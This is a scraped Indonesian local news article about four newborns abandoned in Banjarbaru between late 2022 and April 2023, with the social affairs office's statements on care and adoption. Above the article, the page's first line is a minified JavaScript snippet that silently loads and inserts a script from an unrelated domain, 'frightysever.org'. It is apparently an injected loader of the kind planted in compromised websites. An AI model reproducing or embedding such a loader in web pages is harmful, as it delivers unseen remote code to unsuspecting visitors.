(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kasus Bayi Dibuang di Banjarbaru, Kadinsos: Bisa Diadopsi Jika Orangtua Tidak Ditemukan


KANALKALIMANTAN.COM, BANJARBARU – Enam bulan terakhir warga Kota Banjarbaru geger dengan kasus bayi dibuang alias ditelantarkan.

Tercatat ada 4 bayi yang ditelantarkan, 1 bayi dari 4 bayi yang dibuang dipastikan diasuh oleh orangtuanya sendiri tapi masih dalam masa tahanan.

Sementara untuk 3 bayi lainnya dititipkan pada Panti Perlindungan dan Rehabilitasi Sosial Anak dam Remaja (PPRSAR) Mulia Sari di Landasan Ulin dan dirawat di RSD Idaman Banjarbaru.

Kepala Dinas Sosial Banjarbaru Rokhyat Riyadi mengatakan, pihaknya secara terbuka apabila orangtua 3 bayi belum ditemukan, pihaknya akan mencari orangtua asuh.

Baca juga: Sekda Banjar Wakili Bupati di Rapat Paripurna DPRD

“Jika tidak ditemukan (orangtua kandung) oleh aparat penegak hukum, itu akan kita proses sampai ke adopsi anak,” ujarnya, Rabu (26/4/2023) siang.

Disebutkan Rokhyat, semua bayi yang ditelantarkan atau dibuang orangtuanya akan diproses sesuai prosedur yang berlaku di Dinas Sosial.

“Bisa prosesnya sampai menjadi anak (orangtua asuh) atau jika orangtua ditemukan, maka akan diproses sesuau aturan yang berlaku,” jelasnya.

Terkait perawatan bayi, dibeberkan Rokhyat memang Dinsos Banjarbaru tidak ada menganggarkan secara spesifik terkait perawatan anak terlantar. Namun, Dinsos Banjarbaru mempunyai tupoksi pada penyelenggaraan anak yang ditinggal orangtuanya.

“Tidak ada anggaran secara khusus, itu termasuk layanan masyarakat,” sebutnya.

Kasus bayi dibuang orangtua, teranyar terjadi di Banjarbaru pada Senin (24/4/2023) subuh, saat warga masih merayakan moment lebaran di Jalan Pandawa No 55 RT 03 Kelurahan Guntung Paikat. Bayi perempuan ditemukan dibungkus denganberwana hijau di dalam kardus bekas wafer warna coklat.

Bayi ditemukan oleh warga bernama Elisabet, bayi itu diletakkan di teras rumahnya, kondisi tali pusar masih tersambung pada badan bayi.

Baca juga: Saidi Minta Seluruh SKPD Berpartisipasi di Haul Ke-217 Datu Kelampayan

Kasus bayi dibuang orangtua setelah persalinan di Banjarbaru juga saja terjadi, saat warga sedang menjalankan ibadah puasa. Orok berjenis kelamin perempuan dibuang dan ditemukan di depan rumah warga di Jalan Kebun Durian Guntung Manggis RT 18 RW 003, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, pada Rabu (12/4/2023) dini hari.

Bayi perempuan yang diperkirakan baru lahir tidak lebih dari 24 jam itu, tubuhnya hanya dibalut kain sarung warna putih coklat -sarung perempuan-.

Tubuh bayi yang dibalut kain sarung itu dimasukkan ke dalam tas jinjing atau goodie bag berwarna biru. Ditemukan sekitar pukul 03.40 Wita, bayi tersebut masih dalam keadaan hidup.

Ada Kasus Bayi Dibuang dalam Kardus Bulan Desember 2022

Warga Banjarbaru juga sempat geger adanya kasus bayi dibuang dalam kardus di Jalan Trikora, Kelurahan Kemuning, Kota Banjarbaru, pada bulan Desember 2022 lalu.

Diketahui pelaku berinisial SNA yang masih berusia 18 tahun berhasil diamankan dari sebuah indekos di Kelurahan Loktabat Selatan, Kota Banjarbaru pada Kamis (8/12/2022).

Saat itu SNA membuang bayi berjenis kelamin laki-laki yang masih berumur 4 hari. Kenekatan SNA (18) lantaran dirinya merasa takut dan khawatir tidak mampu merawat dan membesarkan bayi yang lahir dari hasil hubungan tidak sah itu.

Baca juga: Cek Hari Pertama Kerja ASN Pemkab HSU Pasca Cuti Bersama

Kasus bayi dibuang lainnya tejadi pada bulan November 2022 lalu. Seorang bayi berjenis kelamin laki-laki ditemukan dengan tali pusar masih basah dan terbungkus kain di komplek Lambung Mangkurat Regency Tahap 2 C5 Nomor 7 RT 013, RW 01 Kelurahan Palam, Kecamatan Cempaka, Kota Banjarbaru, Senin (28/11/2022) malam. Bayi laki-laki ini ditemukan pertama kali oleh Samsu Anwar Riyadi (19).

Awalnya ia mendengar suara anjing menggonggong kemudian keluar rumah lewat pintu samping, dalam waktu bersamaan pemuda 19 tahun itu juga menemukan bayi laki-laki yang tidak jauh dari rumahnya. (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Al Ghifari

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

44 menit ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

1 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

1 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

2 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

2 jam ago

This website uses cookies.